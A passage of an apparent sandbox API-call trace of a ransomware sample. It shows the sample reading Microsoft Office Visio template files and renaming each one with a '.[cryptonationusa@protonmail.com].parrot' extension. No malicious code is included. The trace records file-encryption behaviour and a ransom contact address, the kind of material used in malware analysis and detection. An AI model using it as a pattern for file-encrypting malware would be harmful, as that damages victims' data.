Content\\1033\\ORGCH_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.969] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.969] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.970] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.970] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24000, lpOverlapped=0x0) returned 1 [0222.977] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGCH_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGCH_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0222.991] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0222.991] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0222.992] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.993] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8200, lpOverlapped=0x0) returned 1 [0222.998] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0222.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGCH_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGCH_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgch_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.006] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.006] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.007] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.007] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1345, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1345, lpOverlapped=0x0) returned 1 [0223.008] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.014] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.015] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.062] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6600, lpOverlapped=0x0) returned 1 [0223.064] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.090] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.091] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.093] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.093] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8200, lpOverlapped=0x0) returned 1 [0223.095] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.102] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.102] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.104] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.104] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8200, lpOverlapped=0x0) returned 1 [0223.105] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGWIZ_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgwiz_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.113] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.114] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.114] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x67e00, lpOverlapped=0x0) returned 1 [0223.129] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.153] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.155] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.155] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x67000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x67000, lpOverlapped=0x0) returned 1 [0223.177] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.240] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBASLN_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pbasln_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.249] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.249] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.252] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.252] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b600, lpOverlapped=0x0) returned 1 [0223.262] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pblank_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pblank_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.277] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.278] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.278] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b600, lpOverlapped=0x0) returned 1 [0223.283] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pblank_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PBLANK_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pblank_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.298] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.298] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.300] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.300] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x65a00, lpOverlapped=0x0) returned 1 [0223.317] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcrtsk_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcrtsk_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.340] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.340] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.342] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.342] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x65000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x65000, lpOverlapped=0x0) returned 1 [0223.363] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcrtsk_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCRTSK_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcrtsk_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.443] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.443] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.454] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.454] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4e600, lpOverlapped=0x0) returned 1 [0223.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCSHFL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcshfl_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCSHFL_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcshfl_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.500] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.500] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.502] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.502] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4da00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4da00, lpOverlapped=0x0) returned 1 [0223.521] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.535] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCSHFL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcshfl_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PCSHFL_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pcshfl_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.546] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.546] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.555] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ac00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ac00, lpOverlapped=0x0) returned 1 [0223.564] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEANNT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peannt_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEANNT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peannt_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.579] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.580] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.581] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a600, lpOverlapped=0x0) returned 1 [0223.586] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEANNT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peannt_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEANNT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\peannt_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.633] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.635] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c800, lpOverlapped=0x0) returned 1 [0223.640] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEDG_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pedg_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEDG_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pedg_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0223.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0223.655] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0223.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.670] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c400, lpOverlapped=0x0) returned 1 [0223.675] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.681] MoveFileExW (lpExistingFileName="C:\\Program 